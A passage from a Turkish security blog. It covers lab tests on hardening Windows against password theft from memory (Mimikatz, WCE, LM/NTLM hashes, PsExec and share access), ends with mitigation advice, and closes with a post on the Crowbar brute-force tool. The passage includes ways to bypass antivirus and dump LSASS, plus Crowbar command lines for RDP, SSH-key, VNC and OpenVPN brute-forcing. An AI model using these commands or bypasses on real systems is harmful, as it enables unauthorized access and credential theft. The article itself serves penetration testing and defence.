saat gibi) hesap önbiletinin (TGT) yenilenmesi için gereklidir. Bilgisayarlarda bu şekilde parola ve parola özetlerinin şifreli tutulmasının nedeni, ağ üzerinden yapılan standart kimlik doğrulama protokollerini (Kerberos, NTLM/LM sorgulama-cevaplama gibi) desteklemeyen servislerin her defasında şifre sormasını engellemek, yani bu servislere SSO desteği kazandırmaktır. Böylece bu servisler parolanın veya özetinin açık hali gerektiği zaman RAM üzerinden şifre çözme işlemi gerçekleştirilir ve servise açık halde verilir. Servis de bu bilgiyi kullanarak kendi işlevini yerine getirir.

Bu başlıkta, PC1 bilgisayarından Mimikatz aracının parolaları açık olarak ele geçiremediği 3 güvenlik paketi (msv1_0, schannel, pku2u) bırakılmış, diğerleri (kerberos, wdigest, tspkg) ise silinmiştir.
Şekil - 11: Güvenlik Paketleri

Daha sonra bilgisayar yeniden başlatılmıştır. Bu başlık altındaki senaryolar 3 güvenlik paketi (kerberos, wdigest, tspkg) silinmiş olduğu durumda gerçekleştirilmiştir.

1) Uzak Masaüstü Bağlantısı Denemesi

PC1 bilgisayarına port taraması gerçekleştirilmiştir. Bu durumda uzaktan masaüstü erişim portunun (3389) açık olduğu görülmektedir.

Şekil - 12: Güvenlik Paketlerinin Silinmesi Sonrası Uzak Masaüstü Servis Kontrolü

Ancak, PC1 bilgisayarına uzak masaüstü bağlantısının gerçekleştirilemediği görülmüştür.


Şekil - 13: Güvenlik Paketlerinin Silinmesi Sonrası Uzak Masaüstü Denemesi

Yorum: Bazı kimlik doğrulama paketlerinin silinmesi istenmeyen durumların ortaya çıkmasına sebep olabilir.

2) 14 Karakterden Daha Kısa Uzunluktaki Parolanın Kullanılması

Uzak masaüstü erişim gerçekleştirilememesine rağmen,  konsol üzerinden ise erişimin gerçekleştirilebildiği görülmektedir. Bu senaryoda kullanıcı parolaları 14 karakterden kısa olacak şekilde seçilmiştir.

Sirket\EaYoneticisi1 aldı kullanıcı oturum açıp işlemlerini tamamladıktan sonra kullanıcı değiştirme seçeneği kullanılarak oturumdan çıkış yapmıştır. Daha sonra PC1\YerelKullanici adlı kullanıcı ile oturum açılmıştır. Bu durumda her iki kullanıcının parolasının da açık olarak elde edilemediği, parolanın sadece LM ve NTLM özetlerinin elde edilebildiği görülmektedir.

Şekil - 14: Güvenlik Paketlerinin Silinmesi Sonrası Kısa Parola ile Oturum Açma İşlemi

Ancak, çeşitli araçlarla veya internetten çevrim içi olarak bu hizmeti sunan siteler (Ophcrack , MD5Decrypter  gibi) kullanılarak, parolaların LM/NTLM özetlerinden parolaların açık hali elde edilebilir. Şöyle ki;

PC1\YerelKullanici adlı kullanıcı için LM/NTLM parola özetinden parolanın açık halinin elde edilmesi sonucu aşağıdaki gibidir:

Şekil - 15: 14 Karakterden Kısa Parolalara Ait LM ve NTLM Özetlerinin Bellekten Elde Edilmesi - 1

Sirket\EaYoneticisi1 adlı kullanıcı için LM/NTLM parola özetinden parolanın açık halinin elde edilmesi sonucu aşağıdaki gibidir:

Şekil - 16: 14 Karakterden Kısa Parolalara Ait LM ve NTLM Özetlerinin Bellekten Elde Edilmesi - 2

Yorum: Bilgisayar parola ilkelerinden LM özeti tutulması engellenmiş olsa (“Network security: Do not store LAN Manager hash value on next password change” ilkesi etkin olduğu durumda) dahi, 14 karakterden kısa parolalar için RAM üzerinde parolanın LM özeti saklanmaktadır.

3) 14 Karakterden Daha Uzun Parolanın Kullanılması

Bir önceki senaryo kullanıcı parolaları 14 karakterden uzun olacak şekilde tekrarlanmıştır. Bu senaryoda PC1\YerelKullanici adlı kullanıcının parolası Siber123.Siber123. olarak, Sirket\EaYoneticisi1 adlı kullanıcının parolası ise Aa123456.Aa123456. olarak belirlenmiştir. Bu durumda her iki kullanıcının parolasının da açık olarak elde edilememesinin yanında parolanın LM özetinin de elde edilemediği, sadece NTLM özetlerinin elde edilebildiği görülmektedir.

Şekil - 17: Güvenlik Paketlerinin Silinmesi Sonrası Uzun Parola ile Oturum Açma İşlemi

Bir önceki senaryo ile aynı yöntemler kullanılarak, parolaların NTLM özetlerinden parolaların açık hali elde edilmeye çalışılmış olsa da LM özeti olmadan parolanın açık hali elde edilememiştir. Şöyle ki;

PC1\YerelKullanici adlı kullanıcı için NTLM parola özetinden parolanın açık halinin elde edilememesi durumu aşağıdaki gibidir:

Şekil - 18: 14 Karakterden Uzun Parolalara Ait NTLM Özetlerinin Bellekten Elde Edilmesi - 1

Sirket\EaYoneticisi1 adlı kullanıcı için NTLM parola özetinden parolanın açık halinin elde edilememesi durumu aşağıdaki gibidir:
Şekil - 19: 14 Karakterden Uzun Parolalara Ait NTLM Özetlerinin Bellekten Elde Edilmesi - 2

Yorum: Bellek üzerinden parolalara ait LM özetin tutulmaması için güvenlik ilkelerinin ayarlanmasının yanında parola uzunluğunun 14 karakterden uzun olması da önem arz etmektedir. Bu sebeple parola oluşturulurken 14 karakterden uzun olması tavsiye edilmektedir.

D) İstemci Taraflı Koruma Sistemleri

Mimikatz, WCE gibi araçların dosya sistemine yüklenmesi antivirüs gibi sistemler tarafından tespit edilmesine sebep olmaktadır. VirusTotal , yüklenen dosyanın (veya URL’i verilen sayfanın vs) özetini alarak kendisinde, sisteminde kayıtlı olan antivirüsler tarafından bu dosyanın zararlı olarak algılanıp algılanmadığı bilgisini sunan bir hizmettir. 21 Aralık 2012 tarihi itibariyle VirusTotal üzerinde 64 bit mimari için hazırlanmış Mimikatz aracını tespit edebilen 12 antivirüs ürünü bulunmaktadır.

Şekil - 20: Mimikatz Aracının Antivirüsler Tarafından Tespit Edilme Oranı


VirusTotal ile ilgili ayrıntılı bilgi için bakınız.

Bu sebeple bilgisayarlar üzerinde antivirüs kullanılması saldırganların işini zorlaştıracaktır. Ancak çeşitli yöntemlerle antivürüsler atlatılarak (AV Bypass) bellek üzerinden parolalar elde edilebilir. Bu yöntemlerden bazıları aşağıdaki gibidir:

  • Antivirüs duraklatılabilir, durdurulabilir, antivirüs servisinin kapatılabilir. Böylece antivirüs çalışmaz hale getirilebilir.
  • Antivirüsler imza tabanlı çalışmaktadırlar. Paketleyiciler kullanılarak veya başka yöntemlerle zararlı yazılımın değiştirilmesi, antivirüslerin zararlıyı tespit edememesine sebep olabilir.
  • Birçok antivirüs sabit disk üzerinde kontrollerini gerçekleştirir, RAM üzerinde çalışan ve sabit disk ile etkileşimi olmayan zararlıları yakalayamaz. Örneğin, Mimikatz aracının RAM üzerinde çalışan versiyonları antivirüsler tarafından yakalanamayabilmektedir.
  • Bellekteki parolalar temel olarak LSASS prosesinden elde edilebilmektedir. Bu prosesin dump halini alan saldırgan, kendi bilgisayarında çeşitli araçlar kullanarak parolanın açık halini elde edebilir. Bu gibi bir durumda antivirüs herhangi bir zararlı aktivite tespit edemeyebilir.

Yorum: Antivirüs kullanılması saldırı yüzeyini daraltmakla birlikte kesin çözüm değildir.

E) Uzaktan  Erişim Yöntemleri

Ağ üzerinden bilgisayarlar arasında erişim için uzak masaüstü haricinde yöntelmer de bulunmaktadır. Bu başlık altında ağ üzerinden erişim sağlandığında parola bilgilerinin RAM üzerinde açık olarak saklanıp saklanmadığı senaryolar üzerinden gösterilecektir. Bu başlık altındaki senaryolarda, SRV1 adlı bilgisayarda Sirket\EaYoneticisi1 adlı kullanıcı, PC1 adlı bilgisayarda PC1\YerelKullanıcı adlı kullanıcı oturum açmış bulunmaktadır.

1) Kullanıcı Bilgileri Kullanılarak PsExec ile Erişim

Sirket\EaYoneticisi1 adlı kullanıcı, PC1 adlı bilgisayara SysInternals PsExec aracı ile bağlantı kurmaktadır. PsExec aracı, uzak bilgisayarın yönetimsel paylaşımına (ADMIN$) erişim için kullanılan bir araç olarak tanımlanabilir. Bu araç ile bağlantı sırasında kullanıcı adı ve parola bilgisi kullanılabilmektedir.

Şekil - 21: PsExec Aracı ile Kimlik Bilgilerini Kullanarak Ağ Üzerinden Erişim

Böylece PC1 adlı bilgisayarın dosya sistemine, kimlik bilgisi verilen kullanıcı ile giriş yapılmıştır. Aynı bilgisayar üzerinde PC1\YerelKullanici adlı kullanıcı ile oturum açık bulunmaktadır. Bu durumda her iki kullanıcının parolasının elde edilebildiği görülmektedir. Ayrıca Sirket\EaYoneticisi1 adlı kullanıcının da PC1 adlı bilgisayar üzerinde prosesler başlattığı (cmd.exe ve conhost.exe) görülmektedir.

Şekil - 22: PsExec Aracı ile Kimlik Bilgilerini Kullanarak Ağ Üzerinden Erişimin Hedef Bilgisayarda İncelenmesi

Yorum: PsExec aracına kullanıcı bilgileri yazılarak ağ üzerinden erişim sağlanmamalıdır.


2) Kullanıcı Bilgileri Kullanılmadan PsExec ile Erişim
Bir önceki senaryo PsExec aracına kimlik bilgisi verilmeden de gerçekleştirilebilir. Bu durumda komut satırını çalıştıran kullanıcının hakları ile bağlantı sağlanır. Diğer bir deyişle, SRV1 adlı bilgisayarda PsExec aracını kullanan kullanıcı (Sirket\EaYoneticisi1 adlı kullanıcı) hakları ile bağlantı oluşturulmaktadır.


Şekil - 23: PsExec Aracı ile Kimlik Bilgilerini Kullanmadan Ağ Üzerinden Erişim

Böylece, PC1 adlı bilgisayarın dosya sistemine, PsExec aracını kullanan kullanıcı hakları ile giriş yapılmıştır. Aynı bilgisayar üzerinde PC1\YerelKullanici adlı kullanıcı ile oturum açık bulunmaktadır. Bu durumda sadece PC1\YerelKullanici adlı kullanıcının parolasının elde edilebildiği, Sirket\EaYoneticisi1 adlı kullanıcının parolasının elde edilemediği görülmektedir. Bunun yanında, Sirket\EaYoneticisi1 adlı kullanıcının da PC1 adlı bilgisayar üzerinde, bir önceki senaryoda olduğu gibi, prosesler başlattığı (cmd.exe ve conhost.exe) görülmektedir.


Şekil - 24: PsExec Aracı ile Kimlik Bilgilerini Kullanmadan Ağ Üzerinden Erişimin Hedef Bilgisayarda İncelenmesi

Yorum: PsExec aracına kullanıcı bilgileri verilmeden ağ üzerinden erişim sağlanılması durumunda, mimikatz aracı ile RAM üzerinden uzaktan erişimi gerçekleştiren kullanıcının parolası açık olarak elde edilemez. Ancak yeni bir prosesin oluşturulması, bağlantı boyunca bu proseslerin yaşamlarına devam etmesi, bu süre boyunca saldırganın oluşturduğu bir prosesin bu proseslere sıçrayabiliyor (migration) olması veya saldırgana ait prosesin bu proseslermiş (impersonation) gibi bu prosesler üzerindeki bazı bilgileri (jeton - token) alabiliyor olması, prosesi çalıştıran kullanıcının haklarının ele geçirilmiş olması anlamına da gelebilmektedir. Bu hakların sadece mevcut bilgisayar üzerinde etkin olması, ağdaki diğer servislere erişim kullanılamaması için, özellikle kritik hesapların “Account is sensitive and cannot be delegated” adlı özelliğinin seçilmiş olması tavsiye edilmektedir.

3) Kayıt Defteri ile Uzaktan Erişim

PC1 adlı bilgisayardaki “Remote Registry” adlı servis etkin ve başlatılmış durumdadır. SRV1 adlı bilgisayar üzerinden PC1 adlı bilgisayarın Kayıt Defteri’ne (Registry Editor) erişim sağlanmaktadır.


Şekil - 25: Kayıt Defteri ile Ağ Üzerinden Erişim

Bu durumda PC1 adlı bilgisayarda sadece PC1\YerelKullanici adlı kullanıcının parolası elde edilebilmektedir. Bunun yanında PC1 adlı bilgisayarda herhangi bir prosesin başlatılmadığı görülmektedir.


Şekil - 26: Kayıt Defteri ile Ağ Üzerinden Erişimin Hedef Bilgisayarda İncelenmesi

Yorum: Uzaktan kayıt değerlerine erişim sağlanırken parolalar açık olarak elde edilemez. Ancak bu işlemin gerçekleşmesi için “Remote Registry” servisinin çalıştırılması güvenlik zafiyetine sebep olmaktadır.

4) Yönetimsel Paylaşımlarla Dosya Sistemine Uzaktan Erişim

Sirket\EaYoneticisi1 adlı kullanıcı, PC1 adlı bilgisayarın dosya sistemine (yönetimsel paylaşımına) erişmektedir.

Şekil - 27: Dosya Paylaşımı ile Ağ Üzerinden Erişim

Bu durumda PC1 adlı bilgisayarda sadece PC1\YerelKullanici adlı kullanıcının parolası elde edilebilmektedir. Bunun yanında PC1 adlı bilgisayarda herhangi bir prosesin başlatılmadığı görülmektedir.

Şekil - 28: Dosya Paylaşımı ile Ağ Üzerinden Erişimin Hedef Bilgisayarda İncelenmesi

Benzer sonuçlar, yönetimsel paylaşımlara erişim için kullanılan “net use” komutu ile de alınmaktadır. Şöyle ki, “net use” komutunu kimlik bilgisi kullanarak (net use \\PC1\ADMIN$ /user:Sirket\EaYoneticisi1 Aa123456.) veya kimlik bilgisi olmadan (net use \\PC1\ADMIN$) dosya sistemine erişim durumunda, erişimi gerçekleştiren kullanıcının parolası, erişimin gerçekleştirildiği bilgisayar üzerinden elde edilememektedir. Dosya paylaşımına erişim sağlayarak betikler çalıştırılabildiğinden "Remote Registry" servisinin açık bırakılmasına gerek kalmamaktadır.

Yorum: Dosya sistemine erişim için paylaşımların kullanılması tavsiye edilmektedir. Paylaşımların belirli IP'lerden (etki alanı denetleyicisi veya jump server gibi ara bilgisayarlardan) gelen taleplere açık olması tavsiye edilmektedir. Bunun yanında, dizinlerin dosya sistemi üzerindeki (NTFS) ve ağ üzerindeki (Sharing) erişimlere ait güvenlik konularına da önem verilmelidir. Ancak bu konular kapsam dışında olduğu için değinilmeyecektir.

5) Diğer Uzaktan Erişim Araçları

Ağ üzerinden bilgisayarlara erişimler için diğer bir çok yöntem bulunmaktadır. WMIC (wmic /node:PC1 process list brief), powershell, yönetim konsolu (MMC) gibi yöntemler ile erişim gerçekleştirildiğinde hedef bilgisayar (PC1 adlı bilgisayar) üzerinde parolalar açık olarak elde edilemez. Ancak bu yöntemlerin kullanılması için hedef bilgisayarda bazı servislerin çalışması gerekmektedir. Bu servislerin açık bırakılması ise saldırı yüzeyini arttırmaktadır.



F) Güncelleştirmelerin Gerçekleştirilmesi

Microsoft tarafından yayınlanan KB2871997 paketi ile RAM üzerinden parolaların elde edilmesi zorlaştırılmıştır. Ancak henüz tamamen engellenememiştir. Konu ile ilgili ayrıntılı bilgi için bakınız.


G) Sonuç: Tüm Tavsiyeler

Bu başlık altında diğer başlıklar altında bahsedilen tavsiyeler tekrar edilecek ve ek tavsiyelerde bulunulacaktır. Bu tavsiyeler aşağıdaki gibidir:

  • Kritik kullanıcı hesapları ile (özellikle saldırıya açık konumda bulunan DMZ içerisindeki ve istemciye açık olan) bilgisayarlarda, oturum açılamamalıdır. Bu bilgisayarlardakiişlemler için yerel kullanıcılar veya belirlenen işlemler gerçekleştirmek için oluşturulan etki alanı hesapları (Teknik Destek hesabı gibi) kullanılmalıdır.
  • Saldırıya açık konumdaki bilgisayardaki oturumların süresi sınırlandırılmalıdır. Belli aralıklarla bilgisayar yeniden başlamalıdır. Ancak ele geçirilen bir bilgisayardan diğer bilgisayarlara erişim mümkün olabildiği için, tüm bilgisayarlarda bu işlemin gerçekleştirilmesi tavsiye edilmektedir.
  • Açık olan bir oturumu sonlandırmak için bilgisayar yeniden başlatılmalıdır.
  • 14 karakterden daha uzun parolalar kullanılmalıdır. Parolalar küçük harf, büyük harf, rakam, noktalama işaretleri gibi özel karakter içermelidir.
  • Gereksiz güvenlik paketleri kaldırılmalıdır. Ancak bu işlemin çeşitli problemlere yol açabileceği unutulmamalıdır.
  • Antivürüs gibi istemci üzerinde koruma sağlayan mekanizmalar güncel ve etkin olmalıdır.
  • Uzaktan erişimler için dosya paylaşımları tercih edilmelidir. Bu paylaşımlara erişimlere belirli bilgisayarlardan (IP) ve hesaplardan izin verilmelidir.
  • Kimlik doğrulaması için akıllı kartın kullanılması tavsiye edilmektedir. Güvenilir olarak tasarlanmış akıllı kartlarda parola yerine PIN kullanılmakta ve kullanıcı hesabına ait özel bilgi (private key), akıllı kart içerisinden alınamamaktadır.
  • Kullanıcı hesaplarına, servis veya zamanlanmış görev (scheduled jobs) başlatan hesaplara, gereğinden fazla yetki (Domain Admin yetkileri gibi) verilmemelidir.
  • Tespit amaçlı olarak da, belli olaylar gerçekleştiğinde kayıtların / alarmların oluşturulması ve oluşturulan alarmların izlenmesi tavsiye edilmektedir.
  • Microsoft'un KB2871997 güncelleme paketi indirilmelidir.


Bu yazıda bellek üzerinden kimlik bilgilerinin elde edilmesini zorlaştırmak ve elde edilmesini engellemek  için gerçekleştirilebilecek yöntemlerden bahsedilmiştir. Bu yöntemlerin, özellikle kritik sistemlere sahip kurumlarda, incelenmesi tavsiye edilmektedir. Bunun yanında, en önemli korunma yönteminin saldırganların sistemlere erişmesini engellemek ve RAM üzerinden bilgi alabilecek kadar sistemlere sızabilmesine imkan sağlamamak olduğu unutulmamalıdır.


Kaynak:
[1] http://www.bilgiguvenligi.gov.tr/windows-isletim-sisteminde-oturum-acma-islemi-winlogon.html
[2] http://msdn.microsoft.com/tr-tr/magazine/cc163489(en-us).aspx
[3] http://technet.microsoft.com/en-us/library/ff404303(v=ws.10).aspx
[4] http://blog.bga.com.tr/2013/01/mimikatz-ile-windows-sistemlerde.html
[5] http://ertugrulbasaranoglu.blogspot.com/2012/10/ipucu-wceden-kacnma-yontemi.html
[6] http://blog.opensecurityresearch.com/2012/06/using-mimikatz-to-dump-passwords.html
[7] http://technet.microsoft.com/en-us/library/cc778868(WS.10).aspx
[8] http://www.ampliasecurity.com/research/wce12_uba_ampliasecurity_eng.pdf
[9] http://www.ampliasecurity.com/research/WCE_Internals_RootedCon2011_ampliasecurity.pdf
[10] http://technet.microsoft.com/en-us/library/dn169026(v=ws.10).aspx
[11] http://technet.microsoft.com/en-us/library/dn169016(v=ws.10).aspx
[12] http://codeidol.com/community/windows/logon/25019/
[13] http://fr.slideshare.net/gentilkiwi/mimikatz-asfws
[14] http://www.sans.org/reading-room/pass-the-hash-attacks-tools-mitigation-33283
[15] http://danielaelmi.altervista.org/password-cracking-hashes-dumping-brute-forcing-auditing-and-privileges-escalation/
[16] http://www.blackhat.com/presentations/bh-dc-09/Muckin/BlackHat-DC-09-Muckin-vista-security-internals.pdf
[17] http://umut-simsek.blogspot.com/2013/04/hashini-seven-kovboy-heykrlara-karsi.html
[18] https://www.bilgiguvenligi.gov.tr/microsoft-guvenligi/bellekten-parolalarin-elde-edilmesi-1.html
[19] https://www.bilgiguvenligi.gov.tr/microsoft-guvenligi/bellekten-parolalarin-elde-edilmesi-2.html
[20] https://www.bilgiguvenligi.gov.tr/microsoft-guvenligi/bellekten-parolalarin-elde-edilmesi-3.html

26 Kasım 2014 Çarşamba

Post Exploitation: Mimikatz ve WCE ile Bellekten Parolaların Elde Edilmesi

Post Exploitation: Mimikatz ve WCE ile Bellekten Parolaların Elde Edilmesi

Günümüzde sistemlere karşı gerçekleştirilen saldırılar artmaktadır. Bunun paralelinde sızma testlerine (Penetration Test) verilen önem de gün geçtikçe artış göstermektedir. Sızma testlerinin adımlarından birisi de Microsoft ortamındaki kullanıcıların (özellikle etki alanı kullanıcılarının) hesap bilgilerinin elde edilmesidir. Son yıllarda bu bilgilerin elde edilmesi için yeni bir yöntem kullanılmaya başlanmıştır. Bu yazı, kullanıcı hesap bilgilerinin yeni bir yöntem ile nasıl ele geçirildiği konusuna değinecektir. Yeni tekniğe geçilmeden önce konu ile ilgili bazı ön bilgiler verilecektir.

Yazının devamı için bakınız:

http://www.siberportal.org/red-team/windows-operating-system-penetration-tests/obtaining-clear-text-password-from-ram-using-wce-tool/
ve
http://www.siberportal.org/red-team/windows-operating-system-penetration-tests/obtaining-clear-text-password-from-ram-using-mimikatz-tool/
ve
http://www.siberportal.org/blue-team/securing-windows-operating-system/working-principle-of-tools-wce-and-mimikatz-that-obtains-clear-text-passwords-on-windows-session/

23 Kasım 2014 Pazar

Farklı Bir Kaba Kuvvet Saldırı Aracı: Crowbar (Levye)

Farklı Bir Kaba Kuvvet Saldırı Aracı: Crowbar (Levye)

Günümüzde bilgi sistemlerinin ve internetin yaygınlaşmasıyla bilginin önemi de artmıştır. Bu sebeple, bilgiye yönelik saldırılar artış göstermiş, bu durum da bilgi güvenliğine verilen önemi arttırmıştır. Bir bilgi sistemini korumak için 2 önemli tedbirin alınması bir çok saldırıya karşı koruma sağlamaktadır. İlk tedbir güncelleştirmelerin sağlanması,  ikincisi ise kimlik doğrulama mekanizmasının etkin olarak işletilmesidir.

Neden Crowbar ve Diğer Araçlardan Farkları

Bu yazıda kimlik doğrulamasına karşı saldırı gerçekleştirebilen Crowbar (Levye)  isimli bir araç tanıtılacaktır. Crowbar RDP, SSH, VNC, VPN adlı servislere karşı kimlik doğrulama mekanizmasını kaba kuvvet saldırıları ile atlatmak için kullanılan bir araçtır. Piyasada belirtilen servislere kaba kuvvet saldırılarını gerçekleştirebilen bir çok araç bulunabilir. Ancak, Crowbar aracının diğer araçlardan önemli bir farkı bulunmaktadır. Diğer araçlar kullanıcı adı ve parola ile kaba kuvvet saldırısı gerçekleştirirken, Crowbar ise kimlik doğrulama anahtarlarını kullanarak da kaba kuvvet saldırılarını gerçekleştirebilmektedir. Şöyle ki, bir çok araç SSH servisine kullanıcı adı ve parola ile saldırılar düzenleyebilmektedir. Ancak bazı sistem yöneticileri kullanıcı hesap parolalarını çok karmaşık verebilmektedir. Bu parolaları SSH istemci uygulamalarına (putty gibi) kaydetmemekte ve karmaşıklığı sebebiyle de her defasında bu parolayı girmek istememektedirler. Bu sebeple, SSH anahtarı ile hedef sisteme giriş sağlamayı seçebilmektedirler. Bu gibi bir durumda klasik kaba kuvvet saldırı araçları yetersiz kalabilmekte, SSH anahtarı ile kaba kuvet saldırısı yapabilen bir araca ihtiyaç duyulabilmektedir. Bu ihtiyacı da Crowbar gidermektedir.
Bu yazıda bilgi güvenliği, kimlik doğrulama ve kaba kuvvet saldırıları ile ilgili temel bilgiler verilecek, sonrasında ise Crowbar aracının kullanım alanlarına incelenecektir.

1) Bilgi güvenliği ve Kimlik doğrulama

Bilgi, diğer bütün kurum varlıkları gibi organizasyon için değeri olan ve dikkatle korunması gereken bir varlıktır. Organizasyon tarafından korunması gereken bazı varlıklar şunlar olabilir:

  • Kurumsal bilgiler
  • Müşteri/Tedarikçilere ait bilgiler
  • İnternet üzerinden yayınlanan bilgiler
  • Kurum kullanıcılarına açık bilgi ve servisler
  • Halka açık bilgiler


Bilgi güvenliğinin temelinde Gizlilik (Confidentiality), Bütünlük (Integrity) ve Erişebilirlik (Availability) yatmaktadır. Bu üçlüye kısaca CIA adı verilmektedir. Bu üçlünün yanında temel bilgi güvenliği unsurları şu şekildedir:



CIA gibi en önemli bilgi güvenliği unsurlarından birisi de kimlik doğrulamadır. Kimlik doğrulama (Authentication), kullanıcının sisteme bağlanabilmesi için ilk başta yapılması gereken işlemdir. Sistem kullanımı sırasında cihaz veya kullanıcının kimliğinin doğrulanmasıdır. Bu işlem ile kullanıcının sahip olduğu kimlik bilgisinin sistemde kayıtlı olup olmadığı kontrol edilir. Daha sonra kullanıcıya verilen parola (veya parola gibi kullanılabilecek başka bir veri) da kontrol edilerek doğrulama işlemi yapılır. Doğrulama sağlanırsa kullanıcıya sisteme giriş izni verilir. Bilgisayar ağları ve bilgisayar sistemleri dışında fiziksel sistemler için de çok önemlidir ve bu yüzden çok aşamalı kimlik doğrulama yöntemleri kullanılmaktadır.

2) Çok Aşamalı Kimlik Doğrulama ve Kaba Kuvvet Saldırıları

Kimlik doğrulama mekanizmasını daha etkin hale getirebilmek için çok aşamalı kimlik doğrulama mekanizmasının kullanılması tavsiye edilmektedir. Çok aşamalı kimlik doğrulamanın 3 temel ayağı bulunur.
  • Something you know (Bilinenler): Kullanıcı ile erişmek istediği sistem arasında paylaşılan gizli veriler bu guruba girer. Buna en iyi örnek kullanıcıya ait şifre bilgisidir.
  • Something you have (Sahip olunanlar): Kullanıcılara ait jetonlar (token) da bir çeşit kimlik beliryecisidirler. Bu kimlik belirleyicilerin sahibi olan bir kullanıcı sisteme kimliğini doğrulatabilir. Örnek olarak akıllı kartlar verilebilir.  Bir akıllı kartı kullanarak kimlik doğrulatmak isteyen bir kullanıcı genellikle ek olarak something you know (bilinenler)  bilgisini  (PIN) de ispat etmek zorundadır.
  • Something you are (Olunan):  Bazı sistemler kullanıcıya ait biyolojik özellikleri kimlik doğrulayıcı olarak kullanırlar. Örnek olarak retina taraması, parmak izi, kan örneği ve ses tanımlama verilebilir.

Bu sistemler yaygın olarak kullanılmakla birlikte bazı riskleri de mevcuttur. Örneğin parmak izi okutularak yapılan doğrulamalarda kesin sonuç almak çok zordur, veya ses tanımlama yöntemiyle kimlik doğrulayan sistemler kullanıcının sesi kaydedilerek kolayca atlatılabilir. Buna benzer bir çok sebepten dolayı biometrik kimlik doğrulama yöntemleri kesin sonuç vermeyen ve tam olarak güvenilir olmayan sistemlerdir.

Günümüzde bir çok sistemde, özellikle iç ağda kullanılan sistemlerde, çok aşamalı kimlik doğrulama yerine tek aşamalı kimlik doğrulama kullanılmaktadır. Örneğin bir Windows bilgisayara uzaktan bağlantı kurabilmek için kullanıcı adı ve parola kullanılmaktadır. Benzer olarak bir SSH sunucuya bağlantı için kullanıcı adı ve parola kullanılabildiği gibi sadece bir sertifika da kullanılabilmektedir. Kullanıcı kimlik bilgilerini veya sertifikayı elde eden saldırgan, ek bir önlem alınmamışsa hedef sisteme erişim sağlayabilmektedir. Bu yöntem kaba kuvvet saldırıları için de kullanılabilir. Kaba kuvvet saldırılarıyla, hedef sisteme bir veya birden çok bilgi ile saldırılarak hedef sistemdeki kimlik doğrulama mekanizması atlatılmaya çalışılır.

3) Crowbar Aracı ve Kullanımı

Crowbar aracı diğer araçlardan daha farklı yöntemler kullandığından bahsetmiştik. Bu araç, yazının başında bahsettiğimiz SSH anahtarı örneği haricinde VNC anahtarı, OpenVPN konfigürasyon dosyası kullanarak da kaba kuvvet saldırısı gerçekleştirebilmektedir. Ayrıca NLA (Network Level Authentication) desteği olan uzak masa üstü bağlantısı gerçekleştirilen sistemlere de kaba kuvvet saldırısı gerçekleştirebilmesi bu aracın önemini daha da arttırmaktadır. Bir çok araç, NLA desteği olan Windows işletim sistemi uzak masaüstü bağlantısına kaba kuvvet saldırısı gerçekleştirememektedir. Bu araç bu yönleri ile diğer araçlardan kendini ayırabilmektedir. Ayrıca kaba kuvvet saldırılarını oldukça hızlı bir şekilde gerçekleştirebilmesi de aracın bir diğer önemli özelliğidir.

Crowbar ile RDP kaba kuvvet saldırılarının gerçekleştirilmesi için örnek bir komut aşağıdaki gibidir:
./crowbar.py -b rdp -s 192.168.2.0/24 -U /root/Desktop/userlist -C /root/Desktop/passlist -d


Bu komut ile, 192.168.2.0/24 ağında root kullanıcısının masaüstündeki userlist adlı bir kullanıcı adı dosyası ve passlist adlı bir parola listesi kullanılarak RDP kaba kuvvet saldırısı denemesi gerçekleştirebilmektedir. Ayrıca "-d" parametresi ile öncelikle ilgili ağda RDP servisi açık olan bilgisayarlar keşfedilmekte, sonrasında ise bu servisi açık olan bilgisayarlarda kaba kuvvet saldırısını gerçekleştirmektedirler.

SSH kaba kuvvet saldırısına yönelik bir kullanım örneği de aşağıdaki gibidir:
./crowbar.py -b sshkey -s 192.168.2.0/24 -u root -k /root/.ssh/ -d


Bu örnekte ise, sadece root adlı kullanıcı adı ile SSH kaba kuvvet saldırısı denemesi gerçekleştirilmektedir. SSH anahtarı olarak da bir dizinin (/root/.ssh/) tamamı altındaki dosyalar verilmiştir.

VNC kaba kuvvet saldırısına yönelik bir kullanım örneği de aşağıdaki gibidir:
./crowbar.py -b vnckey -s 192.168.2.105/32 -p 5902 -c /root/.vnc/passwd


Bu örnekte ise tek bir IP için (192.168.2.105) VNC kaba kuvvet saldırısı gerçekleştirilmiştir. "-p" seçeneği ile varsayılan VNC servisine ait port yerine başka bir port verilmiştir.
OpenVPN kaba kuvvet saldırısına yönelik bir kullanım örneği de aşağıdaki gibidir:
./crowbar.py -b openvpn -s 198.7.62.204/32 -p 443 -m /root/Desktop/vpnbook.ovpn -k /root/Desktop/vpnbook_ca.crt -u vpnbook -c cr2hudaF


Bu örnekte ise, OpenVPN konfigürasyon dosyası ve erişim sertifikası kullanılarak kimlik bilgileri ile OpenVPN kaba kuvvet saldırısı gerçekleştirilmiştir.

Crowbar aracının ayrıntılı kullanımı için aracın yazarına ait olan blogdaki ilgili yazı  incelenebilir.

4) Sonuç

Sızma testlerinde klasik kaba kuvvet saldırı araçlarının gerçekleştirmediği bir açığı kapatan Crowbar aracı kaba kuvvet kuvvet saldırılarına farklı bir boyut kazandırmıştır. Bu araç ile diğer araçların gerçekleştirmediği yöntemlerle kaba kuvvet işlemleri gerçekleştirmekte ve sızma testleri için önemli bir araç olarak kullanılabilecektir.

Kaynak:
https://www.bilgiguvenligi.gov.tr/sizma-testleri/farkli-bir-kaba-kuvvet-saldiri-araci-crowbar-levye.html